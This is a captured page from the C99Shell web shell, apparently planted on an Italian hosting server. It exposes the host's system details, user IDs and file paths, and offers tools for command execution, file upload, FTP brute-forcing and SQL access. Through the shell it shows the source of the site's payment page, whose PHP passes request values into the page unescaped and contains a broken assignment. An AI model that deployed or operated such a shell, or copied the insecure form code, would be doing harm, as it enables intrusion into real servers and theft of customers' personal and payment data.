!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/pagamento/   drwxr-xr-x
Free 184.34 GB of 490.84 GB (37.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.php (6.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include 'global.php';

filter_var($_GET["Importo"],FILTER_SANITIZE_STRING);
$Importo $_GET["Importo"];

?>

<!DOCTYPE html>

<html lang="en">
<head>
    <meta charset="utf-8">
    <meta content="IE=edge" http-equiv="X-UA-Compatible">
    <meta content="width=device-width,initial-scale=1" name="viewport">

    <title><?php echo SITETITLE?> - Pagamento online</title><!-- Bootstrap -->
    <link href="css/bootstrap.min.css" rel="stylesheet"><!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media
    queries --><!-- WARNING: Respond.js doesn't work if you view the page via
    file:// --><!--[if lt IE 9]>
    
    <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
    <!-- Include all compiled plugins (below), or include individual files as
  needed -->
      <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
      <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
      <script src="//cdnjs.cloudflare.com/ajax/libs/jquery-form-validator/2.1.38/jquery.form-validator.min.js"></script>
      <script src="js/jquery.mask.min.js"></script>
                    
    <![endif]-->

    <style>
      body {
        margin-top:20px;
      }
      .container {
        max-width:960px;
      }
      input[disabled] {
        border: 0px solid transparent!important;
        background-color: #FFF!important;
        box-shadow: 0px 0px!important;
        font-weight: bold;
      }
    </style>
    <script>
    
    var select_pagamento = '';

    jQuery(document).ready(function() {
        
        jQuery('#form_pagamento input[name="Importo"]').mask('000000000000000.00', {
            reverse: true
        });

        jQuery('#sendRequest_paypal').click(function(){
            select_pagamento = 'paypal';
        });
        
        jQuery('#sendRequest_unicredit').click(function(){
            select_pagamento = 'unicredit';
        });
        
        jQuery.validate({
            form: '#form_pagamento',
            modules: 'security',
            onError: function() {
                console.log('----');
                console.dir(jQuery("#form_pagamento input[name='Causale']"));
                console.log('SELECT PAYMENT : ' + select_pagamento);
                console.log('----'+jQuery("#form_pagamento input[name='Causale']").val());
            },
            onSuccess: function() {
                
                console.log('----');
                console.dir(jQuery("#form_pagamento input[name='Causale']"));
                console.log('SELECT PAYMENT : ' + select_pagamento);
                console.log('----'+jQuery("#form_pagamento input[name='Causale']").val());

                if(select_pagamento=='paypal') {

                    var data ={
                        'cmd'                 : '_xclick',
                        'business'             : '<?php echo $paypal_email;?>',
                        'lc'                 :'IT',
                        'currency_code'     : 'EUR',
                        'button_subtype'     : 'services',
                        'no_note'             : 1,
                        'no_shipping'        : 2,
                        'rm'                : 1,
                        'return'            : '<?php echo $paypal_urlreturn_OK;?>',
                        'cancel_return'        : '<?php echo $paypal_urlreturn_KO;?>',
                        'bn'                : 'PP-BuyNowBF:btn_paynowCC_LG.gif:NonHosted',
                        'item_name'            : jQuery("#form_pagamento input[name='Causale']").val(),
                        'amount'            : jQuery("#form_pagamento input[name='Importo']").val()
                    };
                    
                    var f = jQuery('<form />',{method:'post',action:"paypal.php",target:'_blank'});
                    
                    var k;
                    /*
                    for(k in data)
                        f.append( jQuery('<input />',{ name : k,value : data[k]}) );
                    */
                    jQuery("#form_pagamento input").each( function(item) {
                        var _k_ = this.name;
                        var _v_ = this.value;
                        f.append( jQuery('<input />',{ name : _k_,value : _v_}) );
                    });

                    f.appendTo(document.body).submit();

                    f.remove();

                    return false;
                }

                if(select_pagamento=='unicredit') {
                    
                    var f = jQuery('<form />',{method:'post',action:"unicredit.php",target:'_blank'});

                    jQuery("#form_pagamento input").each( function(item) {
                        var _k_ = this.name;
                        var _v_ = this.value;
                        f.append( jQuery('<input />',{ name : _k_,value : _v_}) );
                    });

                    f.appendTo(document.body).submit();

                    f.remove();

                    return false;
                }
            }
        });
    });
    </script>
    
</head>

<body>
    <div class="container">

        <div class="header">

            <img src="logo_wt1.jpg" height="100">

            <h3 class="pull-right text-muted"><?php echo SITENAME?> - Pagamento Online</h3>

        </div>

        <hr style="color:#EEE;width:100%"></hr>
        
        <form id="form_pagamento">
      
          <div class="form-horizontal">

              <?php
              outputField
('Nome','Nome',$_GET['Nome'],'Nome','required length');
              
outputField('Cognome','Cognome',$_GET['Cognome'],'Cognome','required length');
              
outputField('Indirizzo','Indirizzo',$_GET['Indirizzo'],'Indirizzo','required length');
              
outputField('Cap','Cap',$_GET['Cap'],'Cap','required length');
              
outputField('Citta','Citta',$_GET['Citta'],'Citta','required length');
              
outputField('Ragione sociale','societa',$_GET['Societa'],'Non obbligatorio','');
              
outputField('COD.Fiscale o P.IVA','CF_PIVA',$_GET['CF_PIVA'],'Inserire il CF per i privati oppure inserire la P.IVA per le società','required length');
              
?>
            
            </div>
          
          <hr style="color:#EEE;width:100%"></hr>
          
          
          <div class="form-horizontal">
            <div class="form-group">
                <label class="col-sm-3 control-label" for="Importo">Importo</label>
                <div class="col-sm-9">
                    <input class="form-control" name="Importo" placeholder="es. 10.00" type="text" data-validation="number"
                      data-validation-allowing="float" data-validation-error-msg="Questo campo è obbligatorio"
                                                      value="<?php echo $Importo?>"
                                                      <?php if (!empty($Importo)) echo "disabled data-collect=1";?>>
                </div>
            </div>
            <?php
              outputField
('Causale','Causale',$_GET['Causale'],'Causale','required length');
              
?>
            
        </div>

          
          <hr style="color:#EEE;width:100%"></hr>
    
          
          <div class="form-horizontal">      
            
            <?php
              outputField
('Email','Email',$_GET['Email'],'es. latuaemail@dominio.it','required length');
            
?>
            
          </div>
          
          <hr style="color:#EEE;width:100%"></hr>
          
              <div class="form-inline">
                <div class="col-sm-3"> </div>
                
                <div class="form-group">
                  <label>
                    <input  name="trattamento" type="checkbox" value="" data-validation="required" data-validation-error-msg="Questo campo è obbligatorio">
                      Consenso al trattamento dei dati
                  </label>
                </div>

            </div>

          <hr style="color:#EEE;width:100%" ></hr>

          <div class="form-inline">
                <div class="col-sm-3"> </div>
                <div class="form-group col-sm-9">
                <input id="sendRequest_unicredit" class="btn btn-default btn-success" type="submit" click="return false;" value="Procedi al pagamento UniCredit">
                <input id="sendRequest_paypal" class="btn btn-default btn-success" type="submit" click="return false;" value="Procedi al pagamento con PayPal">
                </div>
            </div>        
            
        </div>
        </form>
    
  <script src="js/bootstrap.min.js"></script>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.007 ]--